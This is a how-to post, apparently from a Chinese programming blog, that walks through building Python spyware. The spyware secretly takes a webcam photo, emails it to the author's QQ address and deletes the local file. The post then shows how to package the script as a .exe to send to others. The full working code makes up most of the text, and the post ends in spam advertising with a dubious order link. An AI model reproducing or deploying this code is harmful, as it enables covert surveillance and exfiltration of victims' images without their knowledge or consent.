This tutorial teaches you how to create your own webcam photo stealing software using Python.
You need to install Python version 3.5 or above, which can be downloaded from the official website.
Then install the opencv-python library by opening the terminal and entering the command line.
You can add the parameter -i https://pypi.tuna.tsinghua.edu.cn/simple while using pip, which will install the required libraries from the Tsinghua mirror, making it much faster.
pip install opencv-python -i https://pypi.tuna.tsinghua.edu.cn/simple/
The specific code and corresponding comments are as follows. You only need to change the sender and recipient email addresses, update the authorization code, and compile it into an executable file, which means packaging the .py into a .exe file, so you can send it to others.
import os # Delete image files
import cv2 # Call the camera to take photos
from smtplib import SMTP_SSL # SSL encrypted transmission protocol
from email.mime.text import MIMEText # Construct email text
from email.mime.multipart import MIMEMultipart # Construct email body
from email.header import Header # Send content
# Call the camera to take photos
def get_photo():
cap = cv2.VideoCapture(0) # Open the camera
f, frame = cap.read() # Save a frame of image data from the camera
cv2.imwrite('image.jpg', frame) # Save the image as a local file
cap.release() # Close the camera
# Send the image file to my email
def send_message():
# Choose QQ email to send photos
host_server = 'smtp.qq.com' # QQ email SMTP server
pwd = '****************' # Authorization code
from_qq_mail = '[email protected]' # Sender
to_qq_mail = '[email protected]' # Recipient
msg = MIMEMultipart() # Create an email with attachment
msg['Subject'] = Header('Webcam Photo', 'UTF-8') # Message subject
msg['From'] = from_qq_mail # Sender
msg['To'] = Header("YH", 'UTF-8') # Recipient
msg.attach(MIMEText("Photo", 'html', 'UTF-8')) # Add email text information
# Load attachment into the email using SSL encryption
image = MIMEText(open('image.jpg', 'rb').read(), 'base64', 'utf-8')
image["Content-Type"] = 'image/jpeg' # Attachment format is the encrypted data of the image
msg.attach(image) # Attach the file
# Start sending the email
smtp = SMTP_SSL(host_server) # Connect to the server
smtp.login(from_qq_mail, pwd) # Log in to the email
smtp.sendmail(from_qq_mail, to_qq_mail, msg.as_string()) # Send the email
smtp.quit() # Exit
if __name__ == '__main__':
get_photo() # Open the camera to get a photo
send_message() # Send the photo
os.remove('image.jpg') # Delete the local photo
To obtain the authorization code: Go to Settings -> Account -> Enable pop3/smtp service -> Verify security question, then you can obtain a 16-digit authorization code.
Packaging method:
1. First, install pyinstaller by entering pip install pyinstaller in the terminal.
2. Find the path. It can be cumbersome to find the path using cd, so here is a recommended method: directly enter cmd in the path box to enter the terminal, and you will be in the target path.

3. Packaging, enter the command line
pyinstaller --console --onefile 7.py // This packages a file called 7.py.

You can find the executable file in the dist folder.
Finally, experiment a bit, and you will get an attachment with a .bin suffix, change it to .jpg to view.

PS:If you find my sharing useful, feel free to like and share.
Low-cost permanent QQ Green Diamond and Yellow Diamond Super Membership, permanent iQIYI and Tencent Membership, internet celebrity mall – short video heating assistant, greatly increase the probability of going viral, space popularity, likes for posts, QQ Super Membership, Super Membership, flowers for全民K歌, QQ diamonds,
Real person Pinduoduo bargaining, opening red envelopes, cash big turntable and various support. A variety of low-cost services, welcome to bookmark! 500 people help bargain!
Self-service order address: https://byipws231.xn--rssv6eexz.cn/pdd/?i=43rdD4
If you need discounts on movie tickets, you can also contact me, each seat can generally save 5-50
Discount movie tickets